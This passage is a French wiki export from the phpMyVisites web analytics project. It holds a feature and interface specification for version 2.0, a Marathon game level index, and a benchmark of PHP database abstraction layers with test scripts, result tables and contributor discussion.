<p>Par la suite il pourra &eacute;ventuellement &ecirc;tre possible de g&eacute;rer des groupes de fichiers comme les groupes de pages. En attendant la solution est de cr&eacute;er un groupe &laquo; Fichier &raquo; et de consid&eacute;rer les fichiers comme de simples pages, si cette notion d'arborescence entre les fichiers est n&eacute;cessaire.</P> ===Gestion des referers &laquo; partenaires &raquo;=== <p>Il serait int&eacute;ressant que certaines URLS connues soient class&eacute;es dans une section partenaires dans affluents. De m&ecirc;me quand il y a un param&egrave;tre idsite_partner=xx dans l'url du site analys&eacute; pouvoir consid&eacute;rer cet id comme provenant d'un site partenaire.</P> <p>Cette fonctionnalit&eacute; entra&icirc;ne la gestion des sites partenaires dans l'administration :</P> <UL> <LI><p>nom du site partenaire</P> <LI><p>URL du site partenaire</P> <LI><p>id valeur de la variable idsite_partner </P> </UL> ===Gestion des referers &laquo; newsletters &raquo;=== <p>Idem que pour les sites partenaires, g&eacute;rer les visites venant d'une newsletter via la d&eacute;tection d'une variable idnewsletter.<BR><BR><BR> </P> <p>Cette fonctionnalit&eacute; entra&icirc;ne la gestion des newsletters dans l'administration :</P> <UL> <LI><p>nom newsletter</P> </UL> <p>L'id valeur de la variable idnewsletter est alors donn&eacute; par phpmyvisites, et c'est cet id qui doit &ecirc;tre plac&eacute; dans les liens de la newsletter.</P> ==Fonctionnalit&eacute;s administration== ===Exclusion d'IP et de plages d'IP=== <p>Pour un site donn&eacute;, on peut exclure une ou plusieurs plages d'ip.<BR>De la forme A.B.C.D ou A.B.C.x ou A.B.x ou A.x</P> <p>x pouvant prendre n'importe quelle valeur</P> <p><B>Int&eacute;r&ecirc;t </B>: dans les r&eacute;seau de grandes entreprises, il est impossible d'installer un cookie sur chaque poste (technique disponible actuellement dans phpmyvisites) cette exclusion par plage d'ips est pratique et fiable</P> === Gestion avanc&eacute;e des utilisateurs et des droits === <p>Importante nouveaut&eacute;. Il sera possible de cr&eacute;er des utilisateurs avec diff&eacute;rents droits sur chaque site.</P> <p>Fonctionnalit&eacute;s : </P> <UL> <LI><p><I>ajout</I> nouveau user</P> <LI><p><I>modification</I> caract&eacute;ristiques user</P> <LI><p>(futur : <I>suppression</I> user)</P> </UL> <p>Niveaux de droits pr&eacute;d&eacute;finis (d'autres sont ajoutables mais &ccedil;a ne semble pas naturel)</P> <UL> <LI><p><B>Super admin :</B> tous les droits sur tous les sites sans exception et sans modification possible</P> <LI><p><B>Admin site N :</B> droits de modification, de purge des donn&eacute;es, etc.</P> <LI><p><B>Consultant site N :</B> droit de voir les stats, d'ajouter un cookie pour ne pas &ecirc;tre pris encompte</P> <LI><p><B>Visiteur : </B>droit (ou pas) de consulter les stats</P> </UL> <p>Chaque utilisateur est caract&eacute;ris&eacute; par un alias, un login, un password</P> <p>Sont affich&eacute;s les dates de derni&egrave;re connexion, les ips et hostnames des derni&egrave;res connexions.<BR><BR>A noter l'arriv&eacute;e par d&eacute;faut en mode &laquo; anonymous &raquo; qui concerne tous les visiteurs non loggu&eacute;es. On g&egrave;re les droits de ce anonymous comme on g&egrave;re les droits d'un user enregistr&eacute;. Bien s&ucirc;r il ne faut pas lui donner plus que le droit de visiteur.</P> ===Un site peut avoir plusieurs URLs diff&eacute;rentes=== <p>Ces URLs sont enregistr&eacute;es dans l'admin pour le site consid&eacute;r&eacute;e et les provenances &agrave; partir de ces urls ne sont pas consid&eacute;r&eacute;es dans les &laquo; sites affluents &raquo; mais dans les &laquo; acc&egrave;s directs &raquo;</P> === Syst&egrave;me simple et pratique de sauvegarde restauration de toutes les donn&eacute;es (facultatif) === <p>En un clic une archive est cr&eacute;e sur le serveur dans un r&eacute;pertoire /backup/ en gzipp&eacute;</P> <p>Possibilit&eacute; de restaurer les stats facilement (lecture du gzip et &eacute;criture donn&eacute;es base)</P> ==Fonctionnalit&eacute;s visites== ===Fr&eacute;quences des visites=== <p>Question : comment g&eacute;rer les visiteurs uniques proprement ? <BR>R&eacute;ponse : gestion plus fine des visiteurs et de leur visites. Gestion via des cookies et une autre m&eacute;thode qui consiste &agrave; consid&eacute;rer que la parfaite concordances d'&eacute;l&eacute;ments techniques que sont l'OS, la r&eacute;solution, le navigateur, la profondeur de couleur et l'IP implique qu'une personne est unique (elle a donc une IP fixe et une configuration fixe, souvent le cas, et de plus en plus pour les Ips fixes). On ne peut plus se baser sur la diff&eacute;rence heure locale/heure serveur car les XP SP2 sont mis &agrave; l'heure de MS automatiquement. Cette information n'est plus pertinente. A noter que si une personne change de navigateur il n'y aura aucun moyen de la d&eacute;tecter comme un visiteur unique (son cookie change ET son navigateur change). Ce cas reste tr&egrave;s rare.<BR><BR><BR> </P> <p>Information disponibles :</P> <UL> <LI><p>fr&eacute;quence de visites sur la p&eacute;riode</P> <LI><p>nombre de visiteurs uniques (chiffre exact... contrairement &agrave; actuellement)</P> <LI><p>taux de retour des visiteurs sur la p&eacute;riode (assiduit&eacute;)</P> <LI><p>% de nouveaux visiteurs / % visiteurs connus (graph : soit 2 barres verticales, soit une &agrave; 2 couleurs)</P> <LI><p>pages vues par visite du visiteur fid&egrave;le</P> <LI><p>moyenne des pages vues du visiteur fid&egrave;le</P> <LI><p>nombre de visiteurs par nombre de visites sur la p&eacute;riode</P> </UL> ===Pages vues par visites significatives=== <p>Nombre de pages vues pour les visites de plus d'une page. Plus int&eacute;ressant que la donn&eacute;e &laquo; pages vues par visite &raquo; qui prend en compte les visites &agrave; une page vue.</P> ===Dur&eacute;e de visite par page=== <p>Par page &ecirc;tre capable de donner le temps de visite moyen</P> ===Top des meilleurs configurations=== <p>Top des meilleurs trio OS/navigateur/r&eacute;solution pour montrer les tendances du march&eacute;</P> === Pages des visites &agrave; une page vue (facultatif) === <p>Liste des pages qui ont entra&icirc;n&eacute;es une visite &agrave; une page vue (single access pages) : class&eacute;es par nombre de visites. Cela peut mettre en avant des pages sans contenu ou liens vers d'autres contenus. Des pages &agrave; retravailler (le taux de visites &agrave; une page vue doit &ecirc;tre le plus faible possible).</P> ==Divers (&agrave; pr&eacute;ciser...)== === Export des donn&eacute;es dans diff&eacute;rents formats (facultatif) === <p>Il serait int&eacute;ressant de pouvoir exporter toutes les donn&eacute;es fournies dans l'interface de phpmyvisites dans diff&eacute;rents formats :</P> <UL> <LI><p>CSV</P> <LI><p>XML</P> <LI><p>XHTML Imprimable</P> <LI><p>PDF</P> <LI><p>Envoi de mail automatique (probl&egrave;me de l'archivage qui est n&eacute;cessaire...)</P> </UL> <p>Cette fonctionnalit&eacute; implique un important travail de structuration des donn&eacute;ees, le must &eacute;tant certainement de passer par le XML pour ces exportations. Voir la compatibilit&eacute; de la classe PEAR XML_Serializer avec les h&eacute;bergeurs, car elle serait tr&egrave;s pratique.</P> ===Vision plus globale de l'&eacute;volution &agrave; long terme de l'audience (facultatif)=== <p>Il serait int&eacute;ressant de voir plus facilement l'&eacute;volution de l'audience sur des longues p&eacute;riodes. Solutions ? Graphiques plus &eacute;tal&eacute;s dans le temps, tableaux r&eacute;capitulatifs remontant plus que 7jours/7semaines/7mois.</P> <p>A r&eacute;fl&eacute;chir...</P> ===Conservation urls pr&eacute;cises des moteurs de recherche (facultatif)=== <p>Demande fr&eacute;quente des utilisateurs mais lourdes contraintes techniques : il serait int&eacute;ressant pour eux de conserver les urls pr&eacute;cises des moteur de recherche qui ont permis d'acc&eacute;der au site. Cela permet de voir directement le classement dans le moteur de recherche en un clic.<BR><U>Probl&egrave;mes</U><SPAN STYLE="text-decoration: none"> : quand beaucoup de mots cl&eacute;s diff&eacute;rents, de moteurs diff&eacute;rents, il y a &eacute;norm&eacute;ment d'adresses &agrave; conserver pour un volume de donn&eacute;es tr&egrave;s important. </SPAN> </P> <p>Le must serait de proposer cette fonctionnalit&eacute; en option activable ou pas.<BR>A voir si du temps disponible...</P> =Organisation de l'interface de phpMV 2.0= <p><FONT COLOR="#ff0000"> <SPAN STYLE="font-style: normal"><FONT COLOR="#000000">Tout ce qui est </FONT></SPAN><I>italique rouge</I><SPAN STYLE="font-style: normal"><FONT COLOR="#000000"> sont les nouveaut&eacute;s pr&eacute;vues</FONT></SPAN></FONT></FONT></P> <p><BR><BR> </P> <p><B>VISITES</B></P> <p> Statistiques</FONT></P> <p> R&eacute;capitulatifs sur la p&eacute;riode </FONT> </P> <p> Graphique r&eacute;capitulatif des statistiques </FONT> </P> <p> Graphique des dur&eacute;es des visites par visiteur </FONT> </P> <p><FONT COLOR="#ff0000"> <I>Int&eacute;r&ecirc;ts des visites en fonction de crit&egrave;res particuliers</I></FONT></FONT></P> <p> Graphique des visites par heure du serveur </FONT> </P> <p> Graphique des visites par heure du visiteur </FONT> </P> <p> Graphique des lieux de connexion </FONT> </P> <p><BR><BR> </P> <p><B>PAGES VUES</B></P> <p><FONT COLOR="#ff0000"> <I>Tableau des d&eacute;tails des groupes et des pages vues</I></FONT></FONT></P> <p><FONT COLOR="#ff0000"> <I>(Analyse avanc&eacute;e d'une variable)</I></FONT></FONT></P> <p> Graphique des visites par nombre de pages vues </FONT> </P> <p><FONT COLOR="#ff0000"> <I>Dur&eacute;e de visite par groupe et par page vue</I></FONT></FONT></P> <p><FONT COLOR="#ff0000"> <I>Tableau des fichiers t&eacute;l&eacute;charg&eacute;s</I></FONT></FONT></P> <p> Graphique des pages vues par heure du serveur </FONT> </P> <p> Graphique des pages vues par heure du visiteur </FONT> </P> <p><BR><BR> </P> <p><B>SUIVI</B></P> <p><FONT COLOR="#ff0000"> <I>Groupes d'entr&eacute;es</I></FONT></FONT></P> <p><FONT COLOR="#ff0000"> <I>Groupes de sorties</I></FONT></FONT></P> <p> Pages d'entr&eacute;es </FONT> </P> <p> Pages de sortie </FONT> </P> <p><FONT COLOR="#ff0000"> <I>Suivi du chemin du visiteur par groupes</I></FONT></FONT></P> <p><FONT COLOR="#ff0000"> <I>Suivi du chemin du visiteur par pages</I></FONT></FONT></P> <p><B>PROVENANCE</B></P> <p> Mappemonde </FONT> </P> <p> R&eacute;capitulatif des pays </FONT> </P> <p> Fournisseurs d'acc&egrave;s </FONT> </P> <p><BR><BR> </P> <p><B>CONFIGURATIONS</B></P> <p><FONT COLOR="#ff0000"> <I>Meilleurs configurations (OS + Navigateur + R&eacute;solution)</I></FONT></FONT></P> <p> Syst&egrave;mes d'exploitation </FONT> </P> <p> Navigateurs </FONT> </P> <p> Navigateurs (par famille) </FONT> </P> <p> R&eacute;solutions </FONT> </P> <p> Ecran large/normal </FONT> </P> <p> Couleurs </FONT> </P> <p> Plugins </FONT> </P> <p><BR><BR> </P> <p><B>AFFLUENTS</B></P> <p> Graphique r&eacute;capitulatif des affluents </FONT> </P> <p> Moteurs de recherche </FONT> </P> <p> Mots cl&eacute;s </FONT> </P> <p> Sites internet</FONT></P> <p><FONT COLOR="#ff0000"> <I>Sites partenaires</I></FONT></FONT></P> <p><FONT COLOR="#ff0000"> <I>Newsletters </I></FONT></FONT> </P> <p> Entr&eacute;es directes </FONT> </P> <p> <BR> </P> <p> <B>Notes diverses :</B></FONT></P> <UL> <LI><p> le lien pour les stats &agrave; l'ann&eacute;e est ajout&eacute; &agrave; la suite de <I>( Jour | Semaine | Mois | Ann&eacute;e )</I></FONT></P> <LI><p><SPAN STYLE="font-weight: medium"><SPAN STYLE="font-style: normal">les int&eacute;r&ecirc;ts des visites sont disponibles dans une rubrique sp&eacute;ciale </SPAN><I>Int&eacute;r&ecirc;ts</I><SPAN STYLE="font-style: normal"> dans la rubrique </SPAN><I>Visites</I><SPAN STYLE="font-style: normal"> </SPAN></SPAN><SPAN STYLE="font-style: normal"><B>et</B><SPAN STYLE="font-weight: medium"> sont aussi disponibles dans chaque sous rubrique o&ugrave; c'est faisable. Par exemple, dans la rubrique </SPAN></SPAN><SPAN STYLE="font-weight: medium"><I>Navigateurs</I><SPAN STYLE="font-style: normal"> On trouve un lien discret nomm&eacute; </SPAN><I>Int&eacute;r&ecirc;ts</I><SPAN STYLE="font-style: normal"> qui pointe vers les int&eacute;r&ecirc;ts des visiteurs en fonction du Navigateur. Idem pour les autres crit&egrave;res d&eacute;finies dans </SPAN></SPAN><A HREF="#Int&eacute;r&ecirc;ts de visites|outline"><SPAN STYLE="font-weight: medium"><SPAN STYLE="font-style: normal">Int&eacute;r&ecirc;ts de visites</SPAN></SPAN></A><SPAN STYLE="font-weight: medium"><SPAN STYLE="font-style: normal"> Le sous-titre est &laquo;&nbsp;Int&eacute;r&ecirc;ts des visiteurs en fonction du crit&egrave;re X&nbsp;&raquo;</SPAN></SPAN></P> <LI><p> Les fichiers t&eacute;l&eacute;charg&eacute;s sont affich&eacute;s dans un tableau classiques comme sont actuellement pr&eacute;sent&eacute;es les pages vues dans phpmyvisites 1.3.1</P> <LI><p> Pour les groupes et pages vues, possibilit&eacute; de d&eacute;plier les groupes et sous groupes. Gestion des donn&eacute;es via AJAX, chargement dynamique pour plus de rapidit&eacute; et d'aisance de navigation. Possibilit&eacute; de classer par ordre alphab&eacute;tique ou nombre de hits, croissants ou d&eacute;croissants.</P> <p>Sont affich&eacute;es les nombre de hits par groupe en faisant la somme des hits des sous groupes et pages.<BR>Possibilit&eacute; d'afficher les diff&eacute;rentes valeurs qu'ont pris les variables et le nombre de fois qu'elles ont pris ces valeurs par groupe, sous groupe, page</P> <LI><p> Pour les <I>Dur&eacute;e de visite par groupe et par page vue</I> la pr&eacute;sentation est la m&ecirc;me que le <I>D&eacute;tail des groupes et des pages vues</I> sauf que l'information n'est plus le nombre de hits sur les pages et groupes mais le temps moyen pass&eacute; sur ces pages et groupes</P> <LI><p> Les <I>Sites partenaires</I> et <I>Newsletters</I> ont la m&ecirc;me pr&eacute;sentation que les sites referrant dans la version actuelle</P> </UL> <BR><BR> <p><B>ADMINISTRATION</B></P> <UL> <LI><p>Configuration g&eacute;n&eacute;rale</P> <LI><p>Ajouter un site Internet</P> <LI><p>G&eacute;rer les sites Internets</P> <UL> <UL> <UL> <LI><p>Modifier les caract&eacute;ristiques</P> <LI><p> <FONT COLOR="#ff0000"> <I>G&eacute;rer les partenaires</I></FONT></FONT></P> <LI><p> <FONT COLOR="#ff0000"> <I>G&eacute;rer les newsletters</I></FONT></FONT></P> <LI><p> <FONT COLOR="#ff0000"> <I>Exclure Ips ou plages d'IPs</I></FONT></FONT></P> <LI><p> <FONT COLOR="#ff0000"> <I>G&eacute;rer les alias d'URL</I></FONT></FONT></P> </UL> </UL> </UL> <LI><p> <FONT COLOR="#ff0000"> <I>Gestion des utilisateurs</I></FONT></FONT></P> <UL> <UL> <UL> <LI><p> <FONT COLOR="#ff0000"> <I>Ajouter utilisateur</I></FONT></FONT></P> <LI><p> <FONT COLOR="#ff0000"> <I>Modifier utilisateur</I></FONT></FONT></P> <LI><p> <FONT COLOR="#ff0000"> <I>Supprimer utilisateur</I></FONT></FONT></P> </UL> </UL> </UL> <LI><P ALIGN=LEFT STYLE="margin-bottom: 0cm; font-style: normal; page-break-before: auto"> <FONT COLOR="#ff0000"> (Informations techniques du serveur) </FONT></FONT> </P> <LI><p> <FONT COLOR="#ff0000"> <SPAN STYLE="font-style: normal">(Sauvegarde et restauration des donn&eacute;es</SPAN><I>)</I></FONT></FONT></P> </UL> Marathon - Marathon 1 4530 17123 2005-07-21T20:37:29Z W'rkncacnter 327 <center> {| style="float:mid;border:thin black solid;" cellpadding="5" cellspacing="0" !colspan="3" width="300" |<big>Les terminaux de Marathon</big> |- align=center |width="33%" |[[Marathon - Marathon 1|Marathon]] |width="33%" |[[Marathon - Marathon 2|Marathon 2]] |width="33%" |[[Marathon - Marathon Infinity|Marathon ∞]] |} </center> * [[Marathon - Marathon 1 - Arrival|Arrival]] *:0. [[Marathon_-_Marathon_1_-_Arrival#Arrival|Arrival]] *:1. [[Marathon_-_Marathon_1_-_Arrival#Bigger_Guns_Nearby|Bigger Guns Nearby]] *:2. [[Marathon_-_Marathon_1_-_Arrival#Never_Burn_Money|Never Burn Money]] * [[Marathon - Marathon 1 - Counterattack|Counterattack]] *:3. [[Marathon_-_Marathon_1_-_Counterattack#Defend_THIS.21|Defend THIS!]] *:4. [[Marathon_-_Marathon_1_-_Counterattack#Couch_Fishing|Couch Fishing]] *:5. [[Marathon_-_Marathon_1_-_Counterattack#The_Rose|The Rose]] *:6. [[Marathon_-_Marathon_1_-_Counterattack#Smells_Like_Napalm.2C_Tastes_Like_Chicken.21|Smells Like Napalm, Tastes Like Chicken!]] *:7. [[Marathon_-_Marathon_1_-_Counterattack#Cool_Fusion|Cool Fusion]] *:8. [[Marathon_-_Marathon_1_-_Counterattack#G4_Sunbathing|G4 Sunbathing]] *:9. [[Marathon_-_Marathon_1_-_Counterattack#Blaspheme_Quarantine|Blaspheme Quarantine]] * [[Marathon - Marathon 1 - Reprisal| Reprisal]] *:10. [[Marathon_-_Marathon_1_-_Reprisal#Bob-B-Q|Bob-B-Q]] *:11. [[Marathon_-_Marathon_1_-_Reprisal#Shake_Before_Using...|Shake Before Using...]] * [[Marathon - Marathon 1 - Durandal| Durandal]] *:12. [[Marathon_-_Marathon_1_-_Durandal#Fire.21_Fire.21_Fire.21_Fire.21_Fire.21|Fire! Fire! Fire! Fire! Fire!]] *:13. [[Marathon_-_Marathon_1_-_Durandal#Colony_Ship_For_Sale.2C_Cheap|Colony Ship For Sale, Cheap]] *:14. [[Marathon_-_Marathon_1_-_Durandal#Habe_Quiddam|Habe Quiddam]] *:15. [[Marathon_-_Marathon_1_-_Durandal#Neither_High_nor_Low|Neither High nor Low]] * [[Marathon - Marathon 1 - The Pfhor|The Pfhor]] *:16. Pfhor Your Eyes Only... *:17. [[Marathon_-_Marathon_1_-_The_Pfhor#No_Artificial_Colors|No Artificial Colors]] *:18. Unpfhorgiven *:19. Two Times Two Equals... *:20. [[Marathon_-_Marathon_1_-_The_Pfhor#Beware_of_Low-Flying_Defense_Drones...|Beware of Low-Flying Defense Drones...]] *:21. Eupfhoria *:22. Pfhoraphobia *:23. Ain't Got Time Pfhor This... * [[Marathon - Marathon 1 - Rebellion| Rebellion]] *:24. [[Marathon_-_Marathon_1_-_Rebellion#Welcome_to_the_Revolution...|Welcome to the Revolution...]] *:25. [[Marathon_-_Marathon_1_-_Rebellion#Try_again|Try again]] *:26. [[Marathon_-_Marathon_1_-_Rebellion#Ingue_Ferroque|Ingue Ferroque]] * [[Marathon - Marathon 1 - Écran final|Écran final]] BenchMarkAbstraction 4535 20795 2005-09-08T17:54:49Z 80.125.117.207 correction d'ortohgraphe == A propos des tests == Tests réalisés sur un Pentium 4 2.0Ghz sous Windows XP SP2, 760Mo de mémoire vive. Partitions en FAT32, MySQL 4.1.9, PHP 4.3.10 La table n'a pas été vidé entre chaque test, les tests ont été réalisés plusieurs fois, j'ai obtenu des temps d'exécution très proches et j'en ai fais la moyenne que j'ai mis dans le tableau en bas. Si j'en ai le temps je mettrai une archive permettant de tester vous même. Si j'en ai le temps je ferai un bench en select et en update. ==Procédure de test QueryTool== $dbDSN = 'mysql://root@localhost/test'; class user extends DB_QueryTool { var $table = "personne"; var $primaryCol = 'prs_id'; } $user = new user( $dbDSN ); $start_time = microtime(); var_dump($start_time); for ($a = 0; $a < 10000; $a++) { $data = array( 'prs_nom' => getname(rand(4,6)), 'prs_prenom' => getname(rand(4,6)), 'prs_cp' => getcp() ); $fooBarId = $user->save($data); } $end_time = microtime(); var_dump($end_time); print "temps d'execution"; showtime($start_time, $end_time); ==Procédure de test Origin== $db = new mySQL(); $db->host = "localhost"; $db->user = "root"; $db->dbname = "test"; $start_time = microtime(); var_dump($start_time); for ($a = 0; $a < 10000; $a++) { $data = array( 'prs_nom' => getname(rand(4,6)), 'prs_prenom' => getname(rand(4,6)), 'prs_cp' => getcp() ); $db->insert($data, "personne"); $id = $db->lastId(); } $end_time = microtime(); var_dump($end_time); print "temps d'execution"; showtime($start_time, $end_time); ==Procédure de test MySQL== $link = mysql_connect("localhost", "root", ""); $start_time = microtime(); var_dump($start_time); for ($a = 0; $a < 10000; $a++) { mysql_query("INSERT INTO personne('prs_nom','prs_prenom','prs_cp') VALUES('".getname(rand(4,6))."','".getname(rand(4,6))."',".getcp().")"); $id = mysql_insert_id(); } $end_time = microtime(); var_dump($end_time); print "temps d'execution"; showtime($start_time, $end_time); == Comparatif == <table style="background-color:#0000C0" cellspacing="1"> <tr style="background-color:#FFFFFF" > <th width="150">Nb Requetes</th> <td width="50" > 1000</td> <td width="50" > 3000</td> <td width="50" > 5000</td> <td width="50" > 10000</td> </tr><tr style="background-color:#FFFFFF"> <th>QueryTool</th> <td>2.4</td> <td>7.15</td> <td>12.1</td> <td>24.15</td> </tr><tr style="background-color:#FFFFFF"> <th>Origin</th> <td>0.77</td> <td>2.38</td> <td>3.98</td> <td>7.8</td> </tr><tr style="background-color:#FFFFFF"> <th>mySQL</th> <td>0.26</td> <td>0.78</td> <td>1.3</td> <td>2.54</td> </tr> </table> == Importance et pertinence des tests ?== En effet je me demande si ces benchs doivent vraiment nous faire peur ou pas. Nous n'aurons pas à faire 1000 insert à la suite. Nous ferons dans les 20 requetes insertion de logs grand maximum. Il faut tester les select surtout en réalité, car par contre pendant la phase d'archivage nous aurons vite à faire 200 ou plus de requetes de type select compliquées. Mais si je ne m'abuse ce qui prend du temps avec ces outils c'est bien juste la construction de la requete ? Cela devient juste pénalisant quand il y a beaucoup de requetes, et ce peu importe la lourdeur de ces requetes ? Si c'est bien cela, alors il faut voir car cela pourra poser problème éventuellement, mais à l'archivage, et non pendant l'enregistrement des logs, et il faut tester sur des SELECT surtout. J'attends ton bench la dessus. Egalement fais des tests avec jointure stp :) : on a pas 10000 insert à faire d'un coup mais on aura 200 à 300 connexions à gérer en même temps, chacune faisant 5 ou 6 inserts ... donc au final la le temps d'exécution sera du même ordre. [[Utilisateur:Atomik|Atomik]] 25 jul 2005 à 14:42 (UTC) Autre : je me demande le comportement lorsque 1 même requete renvoie par exemple 1000 lignes. Le temps ne doit pas multiplié par 10 comme dans les tests ci dessus puisque la requête n'est pas construit 1000 fois je pense, mais 1 fois mais renvoie 1000 lignes donc il faut quand même appeler ce qui en mysql est la fonction mysql_query() 1000 fois. Quel est le comportemetn via query_tool ? Merci d'augmenter la précision de tests et leur profondeur pour permettre de répondre à ces questions. Je continue d'y réfléchir mais il doit y avoir d'autres feintes comme celles ci je pense ? [[Utilisateur:Matthieu|Matthieu]] : Ces tests ne me parraissent pas pertinents en l'état (je précise bien, en l'état) car ils manquent cruellement d'informations ! type de machine (processeur, disque dur, mémoire), etat de la machine (type de partition, O/S, fragmentation disque ou partition), base de données (version, etat des tables avant chaque insert, ...). De surcroit, tu utilises des fonctions rand() qui sont gourmandes en terme de temps (qui peut en plus différent suivant la plateforme et le type de processeur), et il manque quelques bouts de code, ainsi que les versions des bibliohtèques que tu utilises... Ce Wiki pourrait cependant devenir interesant en proposant un script complet, à exécuter sur l'environnement du lecteur, qui produirait un résultat intégrable à grande échelle pour faire des stats... : Qu'en penses tu ?--[[Utilisateur:Demzed|Demzed]] 22 jul 2005 à 08:40 (UTC) : je suis pas sur que toutes les informations sur l'état de la machine qui a éxécuté les tests soients si important, au final c'est surtout une histoire de ratio entre les différents temps de traitement. Il faut retenir que DB prends 10x plus de temps qu'un mysql brut et ce quelquesoit le nombre de requêtes. : par contre je suis d'accord que pour se donner un ordre d'idées sur les temps de réponses attendu lorsque l'on développe il est intéressant de savoir à peu près à quoi s'attendre. : je pense aussi qu'il serait interressant de proposer un bench distribuable et exécutable sur les machines du lecteur. : [[Utilisateur:Atomik|Atomik]] 25 jul 2005 à 14:42 (UTC) ==Deuxième série de tests== Cet après-midi on s'est amusé à faire de nouveaux tests de couches d'abstractions Les concurrents étaient : mysql natif , [http://adodb.sourceforge.net/ Adodb] , [http://adodblite.sourceforge.net/ AdodbLite] et Pear::DB ==Conditions de test== - Serveur Athlon XP 1700+ - Memoire 256 Mo - Apache 2.0.54 - PHP 5.0.4 ==Protocole== Vous trouverez tous les scripts de tests dans une archive téléchargeable : [http://dev.spotk.net/bench/bench.tar.gz ici] et sinon, les tests sont consultables en ligne sur : [http://dev.spotk.net/bench/ mon serveur] 4 tests ont été effectués: # "SELECT id, prenom, nom, cp FROM personne LIMIT $limit" appelé Select base # "SELECT personne.id, prenom, nom, cp, data1, data2, data3 FROM personne, datas WHERE personne.id = datas.personne_id LIMIT $limit" #"INSERT INTO personne(prenom,nom,cp) VALUES('".getString()."','".getString()."','".getString()."')" # Et la derniere qui est une combinaison de la precedente et de: "INSERT INTO datas (personne_id, data1, data2, data3) VALUES ($id, '" .getString()."','".getString()."','".getString()."')" Chaque mesure a été prise 10 fois , voila les resultats qui sont récuperables en pdf [http://dev.spotk.net/bench/bench.pdf ici] <table border="1" cellspacing="0" cellpadding="0" class="ta1"><tr class="ro1"><td style="text-align:left;width:3.366cm; " class="Default"><p>Moyenne de 10 mesures effectuées </p></td><td style="text-align:left;width:1.251cm; " class="Default" /><td style="text-align:left;width:3.311cm; " class="Default" /><td style="text-align:left;width:3.06cm; " class="Default" /><td style="text-align:left;width:2.058cm; " class="ce6" /><td style="text-align:left;width:3.732cm; " class="Default" /><td style="text-align:left;width:2.198cm; " class="ce6" /><td style="text-align:left;width:3.538cm; " class="Default" /><td style="text-align:left;width:2.267cm; " class="ce6" /></tr><tr class="ro1"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:left;width:1.251cm; " class="Default" /><td style="text-align:left;width:3.311cm; " class="Default" /><td style="text-align:left;width:3.06cm; " class="Default" /><td style="text-align:left;width:2.058cm; " class="ce6" /><td style="text-align:left;width:3.732cm; " class="Default" /><td style="text-align:left;width:2.198cm; " class="ce6" /><td style="text-align:left;width:3.538cm; " class="Default" /><td style="text-align:left;width:2.267cm; " class="ce6" /></tr><tr class="ro1"><td style="text-align:left;width:3.366cm; " class="ce1"><p>Select Base </p></td><td style="text-align:left;width:1.251cm; " class="ce2" /><td style="text-align:left;width:3.311cm; " class="ce4"><p>Mysql </p></td><td style="text-align:left;width:3.06cm; " class="ce4"><p>Adodb Lite </p></td><td style="text-align:left;width:2.058cm; " class="ce7"><p>Ratio </p></td><td style="text-align:left;width:3.732cm; " class="ce4"><p>Adodb </p></td><td style="text-align:left;width:2.198cm; " class="ce7"><p>Ratio </p></td><td style="text-align:left;width:3.538cm; " class="ce4"><p>PearDB </p></td><td style="text-align:left;width:2.267cm; " class="ce7"><p>Ratio </p></td></tr><tr class="ro2"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:right; width:1.251cm; " class="ce3"><p>100 </p></td><td style="text-align:right; width:3.311cm; " class="ce5"><p>0,002665209770 </p></td><td style="text-align:right; width:3.06cm; " class="ce5"><p>0,005527544022 </p></td><td style="text-align:right; width:2.058cm; " class="ce8"><p>2,07 </p></td><td style="text-align:right; width:3.732cm; " class="ce5"><p>0,006073069572 </p></td><td style="text-align:right; width:2.198cm; " class="ce8"><p>2,28 </p></td><td style="text-align:right; width:3.538cm; " class="ce5"><p>0,010822582245 </p></td><td style="text-align:right; width:2.267cm; " class="ce10"><p>4,06 </p></td></tr><tr class="ro2"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:right; width:1.251cm; " class="ce3"><p>1000 </p></td><td style="text-align:right; width:3.311cm; " class="ce5"><p>0,016507816315 </p></td><td style="text-align:right; width:3.06cm; " class="ce5"><p>0,040828752518 </p></td><td style="text-align:right; width:2.058cm; " class="ce8"><p>2,47 </p></td><td style="text-align:right; width:3.732cm; " class="ce5"><p>0,041392731667 </p></td><td style="text-align:right; width:2.198cm; " class="ce8"><p>2,51 </p></td><td style="text-align:right; width:3.538cm; " class="ce5"><p>0,092168879509 </p></td><td style="text-align:right; width:2.267cm; " class="ce10"><p>5,58 </p></td></tr><tr class="ro2"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:right; width:1.251cm; " class="ce3"><p>10000 </p></td><td style="text-align:right; width:3.311cm; " class="ce5"><p>0,157842969894 </p></td><td style="text-align:right; width:3.06cm; " class="ce5"><p>0,396399712563 </p></td><td style="text-align:right; width:2.058cm; " class="ce8"><p>2,51 </p></td><td style="text-align:right; width:3.732cm; " class="ce5"><p>0,403436660767 </p></td><td style="text-align:right; width:2.198cm; " class="ce8"><p>2,56 </p></td><td style="text-align:right; width:3.538cm; " class="ce5"><p>0,903160452843 </p></td><td style="text-align:right; width:2.267cm; " class="ce10"><p>5,72 </p></td></tr><tr class="ro1"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:left;width:1.251cm; " class="ce3" /><td style="text-align:left;width:3.311cm; " class="ce5" /><td style="text-align:left;width:3.06cm; " class="ce5" /><td style="text-align:left;width:2.058cm; " class="ce9" /><td style="text-align:left;width:3.732cm; " class="ce5" /><td style="text-align:left;width:2.198cm; " class="ce9" /><td style="text-align:left;width:3.538cm; " class="ce5" /><td style="text-align:left;width:2.267cm; " class="ce11" /></tr><tr class="ro1"><td style="text-align:left;width:3.366cm; " class="Default" /><td style="text-align:left;width:1.251cm; " class="ce3" /><td style="text-align:left;width:3.311cm; " class="ce5" /><td style="text-align:left;width:3.06cm; " class="ce5" /><td style="text-align:left;width:2.058cm; " class="ce9" /><td style="text-align:left;width:3.732cm; " class="ce5" /><td style="text-align:left;width:2.198cm; " class="ce9" /><td style="text-align:left;width:3.538cm; " class="ce5" /><td style="text-align:left;width:2.267cm; " class="ce11" /></tr><tr class="ro1"><td style="text-align:left;width:3.366cm; " class="ce1"><p>Select complexe </p></td><td style="text-align:left;width:1.251cm; " class="ce2" /><td style="text-align:left;width:3.311cm; " class="ce4"><p>Mysql </p></td><td style="text-align:left;width:3.06cm; " class="ce4"><p>Adodb Lite </p></td><td style="text-align:left;width:2.058cm; " class="ce7"><p>Ratio </p></td><td style="text-align:left;width:3.732cm; " class="ce4"><p>Adodb </p></td><td 